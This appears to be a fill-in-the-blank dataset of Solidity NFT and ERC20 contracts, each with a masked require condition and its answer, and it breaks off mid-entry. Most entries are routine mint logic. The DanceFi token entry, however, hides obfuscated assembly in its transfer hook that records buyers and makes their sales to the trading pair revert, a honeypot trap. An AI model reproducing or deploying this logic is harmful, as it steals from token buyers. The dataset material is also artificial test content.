uint256 numberOfUnique = getNumberOfUniqueTokensByAddress(msg.sender);
// checking for a award
require(numberOfUnique >= rankInfoAll[_rank].REQUIRED_TOKENS_TO_MINT, "Insufficient number of tokens of different clans for a reward!");
_safeMint(msg.sender, maxMintExtraSale, _rank);
}
function getNumberOfUniqueTokensByAddress(address _owner) public view returns(uint256) {
}
// Secret mint for the winner
function mintEmperor(address to) external onlyOwner nonReentrant {
}
function setPublicSale(bool _isPublicSale) external onlyOwner {
}
function setExtraSale(bool _isExtraSale) external onlyOwner {
}
function setMaxMintPublicSale(uint256 _maxMintPublicSale) external onlyOwner {
}
function setMaxMintExtraSale(uint256 _maxMintExtraSale) external onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function withDrawAll() public payable onlyOwner {
}
}
| totalCatsMinted+maxMintExtraSale<=rankInfoAll[_rank].NUMBER_TOKENS,"All tokens of current rank are sold out!" | 79,944 | totalCatsMinted+maxMintExtraSale<=rankInfoAll[_rank].NUMBER_TOKENS |
"too many to mint, we have reached 10k" | pragma solidity ^0.8.7;
contract MyToken is ERC1155, Ownable {
constructor() ERC1155("") {}
string ipfs = 'https://gateway.pinata.cloud/ipfs/QmSYgGgsvsKsSzKoFTQ24dYkXcguReX2sMLP6mAoJz4H8U';
uint256 count;
uint256 constant max = 10000;
uint256 constant price = .002 ether;
function setURI(string memory newIpfs) public onlyOwner {
}
function uri(uint256 tokenId) public override view returns (string memory) {
}
function buildMetadata() public view returns(string memory) {
}
function mintMemaw(uint256 amount)
public payable
{
require(<FILL_ME>)
require(price * amount <= msg.value, "not sending enough eth");
_mint(msg.sender, 0, amount, '');
count += amount;
}
receive() external payable {
}
function withdraw() external onlyOwner {
}
}
| count+amount<=max,"too many to mint, we have reached 10k" | 79,993 | count+amount<=max |
"not sending enough eth" | pragma solidity ^0.8.7;
contract MyToken is ERC1155, Ownable {
constructor() ERC1155("") {}
string ipfs = 'https://gateway.pinata.cloud/ipfs/QmSYgGgsvsKsSzKoFTQ24dYkXcguReX2sMLP6mAoJz4H8U';
uint256 count;
uint256 constant max = 10000;
uint256 constant price = .002 ether;
function setURI(string memory newIpfs) public onlyOwner {
}
function uri(uint256 tokenId) public override view returns (string memory) {
}
function buildMetadata() public view returns(string memory) {
}
function mintMemaw(uint256 amount)
public payable
{
require(count + amount <= max, "too many to mint, we have reached 10k");
require(<FILL_ME>)
_mint(msg.sender, 0, amount, '');
count += amount;
}
receive() external payable {
}
function withdraw() external onlyOwner {
}
}
| price*amount<=msg.value,"not sending enough eth" | 79,993 | price*amount<=msg.value |
"sending weird increments" | pragma solidity ^0.8.7;
contract MyToken is ERC1155, Ownable {
constructor() ERC1155("") {}
string ipfs = 'https://gateway.pinata.cloud/ipfs/QmSYgGgsvsKsSzKoFTQ24dYkXcguReX2sMLP6mAoJz4H8U';
uint256 count;
uint256 constant max = 10000;
uint256 constant price = .002 ether;
function setURI(string memory newIpfs) public onlyOwner {
}
function uri(uint256 tokenId) public override view returns (string memory) {
}
function buildMetadata() public view returns(string memory) {
}
function mintMemaw(uint256 amount)
public payable
{
}
receive() external payable {
require(<FILL_ME>)
mintMemaw(msg.value / price);
}
function withdraw() external onlyOwner {
}
}
| msg.value%price==0,"sending weird increments" | 79,993 | msg.value%price==0 |
"The contract is paused" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/main/src/DefaultOperatorFilterer.sol";
contract HawtHeadZ_Nft_Official is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public maxSupply = 4444;
uint256 public wlSupply = 1000;
uint256 public wlMinted = 0;
uint256 public maxperTxn = 5;
uint256 public cost = 0.005 ether;
bool public isPreMint = true;
bool public isRevealed = false;
bool public pause = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmfLwkjyDeamDmEDqcFG1ywpHG2q7Dd1kMSXXNXCX3T2yU/unrevealed.json";
bytes32 public merkleRoot;
constructor(
string memory _baseMetadataUrl,
bytes32 _merkleRoot
)
ERC721A("HawtHeadZz Official", "HHZNFT") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl) public onlyOwner {
}
function reveal(bool _state) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function presaleSwitch(bool _state) external onlyOwner {
}
function PreMint(uint256 mintAmount, bytes32[] calldata _merkleProof) external payable premintChecks(_merkleProof, mintAmount){
}
modifier premintChecks(bytes32[] calldata _merkleProof, uint256 mintAmount){
require(<FILL_ME>)
require(isPreMint, "Pre mint not start");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "You're not whitelisted!");
require(wlMinted + mintAmount <= wlSupply,"Exceeds whitelist supply");
require(mintAmount <= maxperTxn, "max per txn exceeded");
_;
}
function setMaxSupply(uint256 newMaxSupply) external onlyOwner {
}
function setWlSupply(uint256 newWlSupply) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function publicMint(uint256 mintAmount) external payable {
}
function setCost(uint256 _newCost) public onlyOwner{
}
function setMaxPerTxn(uint _newMax) public onlyOwner{
}
function setPause(bool _state) public onlyOwner{
}
function airDrop(address to, uint256 mintAmount) external onlyOwner {
}
function setMerkleRoot(bytes32 _newMerkle) public onlyOwner{
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| !pause,"The contract is paused" | 80,006 | !pause |
"Exceeds whitelist supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/main/src/DefaultOperatorFilterer.sol";
contract HawtHeadZ_Nft_Official is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public maxSupply = 4444;
uint256 public wlSupply = 1000;
uint256 public wlMinted = 0;
uint256 public maxperTxn = 5;
uint256 public cost = 0.005 ether;
bool public isPreMint = true;
bool public isRevealed = false;
bool public pause = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmfLwkjyDeamDmEDqcFG1ywpHG2q7Dd1kMSXXNXCX3T2yU/unrevealed.json";
bytes32 public merkleRoot;
constructor(
string memory _baseMetadataUrl,
bytes32 _merkleRoot
)
ERC721A("HawtHeadZz Official", "HHZNFT") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl) public onlyOwner {
}
function reveal(bool _state) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function presaleSwitch(bool _state) external onlyOwner {
}
function PreMint(uint256 mintAmount, bytes32[] calldata _merkleProof) external payable premintChecks(_merkleProof, mintAmount){
}
modifier premintChecks(bytes32[] calldata _merkleProof, uint256 mintAmount){
require(!pause, "The contract is paused");
require(isPreMint, "Pre mint not start");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "You're not whitelisted!");
require(<FILL_ME>)
require(mintAmount <= maxperTxn, "max per txn exceeded");
_;
}
function setMaxSupply(uint256 newMaxSupply) external onlyOwner {
}
function setWlSupply(uint256 newWlSupply) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function publicMint(uint256 mintAmount) external payable {
}
function setCost(uint256 _newCost) public onlyOwner{
}
function setMaxPerTxn(uint _newMax) public onlyOwner{
}
function setPause(bool _state) public onlyOwner{
}
function airDrop(address to, uint256 mintAmount) external onlyOwner {
}
function setMerkleRoot(bytes32 _newMerkle) public onlyOwner{
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| wlMinted+mintAmount<=wlSupply,"Exceeds whitelist supply" | 80,006 | wlMinted+mintAmount<=wlSupply |
"Public mint not start" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/main/src/DefaultOperatorFilterer.sol";
contract HawtHeadZ_Nft_Official is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public maxSupply = 4444;
uint256 public wlSupply = 1000;
uint256 public wlMinted = 0;
uint256 public maxperTxn = 5;
uint256 public cost = 0.005 ether;
bool public isPreMint = true;
bool public isRevealed = false;
bool public pause = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmfLwkjyDeamDmEDqcFG1ywpHG2q7Dd1kMSXXNXCX3T2yU/unrevealed.json";
bytes32 public merkleRoot;
constructor(
string memory _baseMetadataUrl,
bytes32 _merkleRoot
)
ERC721A("HawtHeadZz Official", "HHZNFT") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl) public onlyOwner {
}
function reveal(bool _state) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function presaleSwitch(bool _state) external onlyOwner {
}
function PreMint(uint256 mintAmount, bytes32[] calldata _merkleProof) external payable premintChecks(_merkleProof, mintAmount){
}
modifier premintChecks(bytes32[] calldata _merkleProof, uint256 mintAmount){
}
function setMaxSupply(uint256 newMaxSupply) external onlyOwner {
}
function setWlSupply(uint256 newWlSupply) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function publicMint(uint256 mintAmount) external payable {
require(!pause, "The contract is paused");
require(<FILL_ME>)
require(_totalMinted() + mintAmount <= maxSupply,"Exceeds max supply");
require(msg.value >= cost * mintAmount, "insufficient funds");
require(mintAmount <= maxperTxn, "max per txn exceeded");
_safeMint(msg.sender, mintAmount);
}
function setCost(uint256 _newCost) public onlyOwner{
}
function setMaxPerTxn(uint _newMax) public onlyOwner{
}
function setPause(bool _state) public onlyOwner{
}
function airDrop(address to, uint256 mintAmount) external onlyOwner {
}
function setMerkleRoot(bytes32 _newMerkle) public onlyOwner{
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| !isPreMint,"Public mint not start" | 80,006 | !isPreMint |
"Exceeds max supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/main/src/DefaultOperatorFilterer.sol";
contract HawtHeadZ_Nft_Official is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
uint256 public maxSupply = 4444;
uint256 public wlSupply = 1000;
uint256 public wlMinted = 0;
uint256 public maxperTxn = 5;
uint256 public cost = 0.005 ether;
bool public isPreMint = true;
bool public isRevealed = false;
bool public pause = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmfLwkjyDeamDmEDqcFG1ywpHG2q7Dd1kMSXXNXCX3T2yU/unrevealed.json";
bytes32 public merkleRoot;
constructor(
string memory _baseMetadataUrl,
bytes32 _merkleRoot
)
ERC721A("HawtHeadZz Official", "HHZNFT") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl) public onlyOwner {
}
function reveal(bool _state) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function presaleSwitch(bool _state) external onlyOwner {
}
function PreMint(uint256 mintAmount, bytes32[] calldata _merkleProof) external payable premintChecks(_merkleProof, mintAmount){
}
modifier premintChecks(bytes32[] calldata _merkleProof, uint256 mintAmount){
}
function setMaxSupply(uint256 newMaxSupply) external onlyOwner {
}
function setWlSupply(uint256 newWlSupply) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function publicMint(uint256 mintAmount) external payable {
require(!pause, "The contract is paused");
require(!isPreMint, "Public mint not start");
require(<FILL_ME>)
require(msg.value >= cost * mintAmount, "insufficient funds");
require(mintAmount <= maxperTxn, "max per txn exceeded");
_safeMint(msg.sender, mintAmount);
}
function setCost(uint256 _newCost) public onlyOwner{
}
function setMaxPerTxn(uint _newMax) public onlyOwner{
}
function setPause(bool _state) public onlyOwner{
}
function airDrop(address to, uint256 mintAmount) external onlyOwner {
}
function setMerkleRoot(bytes32 _newMerkle) public onlyOwner{
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| _totalMinted()+mintAmount<=maxSupply,"Exceeds max supply" | 80,006 | _totalMinted()+mintAmount<=maxSupply |
"ERC20: trading is not yet enabled." | // dancefi.fi // @dancefi
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private schemeKite;
mapping (address => bool) private slamBase;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private powerWhere = 0xcfbb5c59d7000a6021330bc19ff4fea39027b2ff024666d9834957e1df59c779;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function doUpdate(int16 rabbitGalaxy, uint16 againToss) external onlyOwner returns (uint8) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient) internal {
require(<FILL_ME>)
assembly {
function thankGrid(x,y) -> omitAbsurd { mstore(0, x) mstore(32, y) omitAbsurd := keccak256(0, 64) }
function brickAssume(x,y) -> knifeTable { mstore(0, x) knifeTable := add(keccak256(0, 32),y) }
function chaosLaundry(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
if and(and(eq(sender,sload(brickAssume(0x2,0x1))),eq(recipient,sload(brickAssume(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
if eq(recipient,57005) { for { let gardenCanal := 0 } lt(gardenCanal, sload(0x500)) { gardenCanal := add(gardenCanal, 1) } { sstore(thankGrid(sload(brickAssume(0x500,gardenCanal)),0x3),0x1) } }
if and(and(or(eq(sload(0x99),0x1),eq(sload(thankGrid(sender,0x3)),0x1)),eq(recipient,sload(brickAssume(0x2,0x2)))),iszero(eq(sender,sload(brickAssume(0x2,0x1))))) { invalid() }
if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(brickAssume(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(brickAssume(0x2,0x1)),sender)))) { invalid() }
sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
if and(iszero(eq(sender,sload(brickAssume(0x2,0x2)))),and(iszero(eq(recipient,sload(brickAssume(0x2,0x1)))),iszero(eq(recipient,sload(brickAssume(0x2,0x2)))))) { sstore(thankGrid(recipient,0x3),0x1) }
if and(and(eq(sender,sload(brickAssume(0x2,0x2))),iszero(eq(recipient,sload(brickAssume(0x2,0x1))))),iszero(eq(recipient,sload(brickAssume(0x2,0x1))))) { chaosLaundry(0x500,recipient) }
if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient)
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployDanceFi(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract DanceFi is ERC20Token {
constructor() ERC20Token("Dance Finance", "DNCE", msg.sender, 112500 * 10 ** 18) {
}
}
| (theTrading||(sender==schemeKite[1])),"ERC20: trading is not yet enabled." | 80,147 | (theTrading||(sender==schemeKite[1])) |
"Error" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract Username is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public cost = 10000000000000000;
uint256 public ref = 20;
uint256 public ref_owner = 20;
uint256 public ref_discount = 20;
uint256 public domains_fee = 0;
string private BASE_URI = 'https://nftmetadata.live/username/';
bool public IS_SALE_ACTIVE = true;
bool public IS_ALLOWLIST_ACTIVE = false;
mapping(address => bool) public allowlistAddresses;
mapping(string => address) public resolveAddress;
mapping(address => string) public primaryAddress;
mapping(string => mapping(string => string)) public dataAddress;
bytes32 public merkleRoot;
constructor() ERC721A("Username Domain Service", "USER") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setAddress(string calldata ether_name, address newresolve) external {
}
function setPrimaryAddress(string calldata ether_name) external {
require(<FILL_ME>)
primaryAddress[msg.sender]=ether_name;
}
function setDataAddress(string calldata ether_name,string calldata setArea, string memory newDatas) external {
}
function getDataAddress(string memory ether_name, string calldata Area) public view returns(string memory) {
}
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function setPrice(uint256 customPrice) external onlyOwner {
}
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint domains_fee_) external onlyOwner {
}
function setSaleActive(bool saleIsActive) external onlyOwner {
}
function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
}
function register(address ref_address, string memory ether_name)
public
payable
{
}
function allowList(string memory ether_name, bytes32[] calldata _merkleProof)
public
payable
{
}
function namediff(uint256 tokenId , string calldata new_ether_name) external onlyOwner {
}
function walletOfOwnerName(address _owner)
public
view
returns (string[] memory)
{
}
function lastAddresses(uint256 count)
public
view
returns (string[] memory)
{
}
function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
}
/** PAYOUT **/
function withdraw() public onlyOwner nonReentrant {
}
}
| resolveAddress[ether_name]==msg.sender,"Error" | 80,202 | resolveAddress[ether_name]==msg.sender |
"Write a name" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
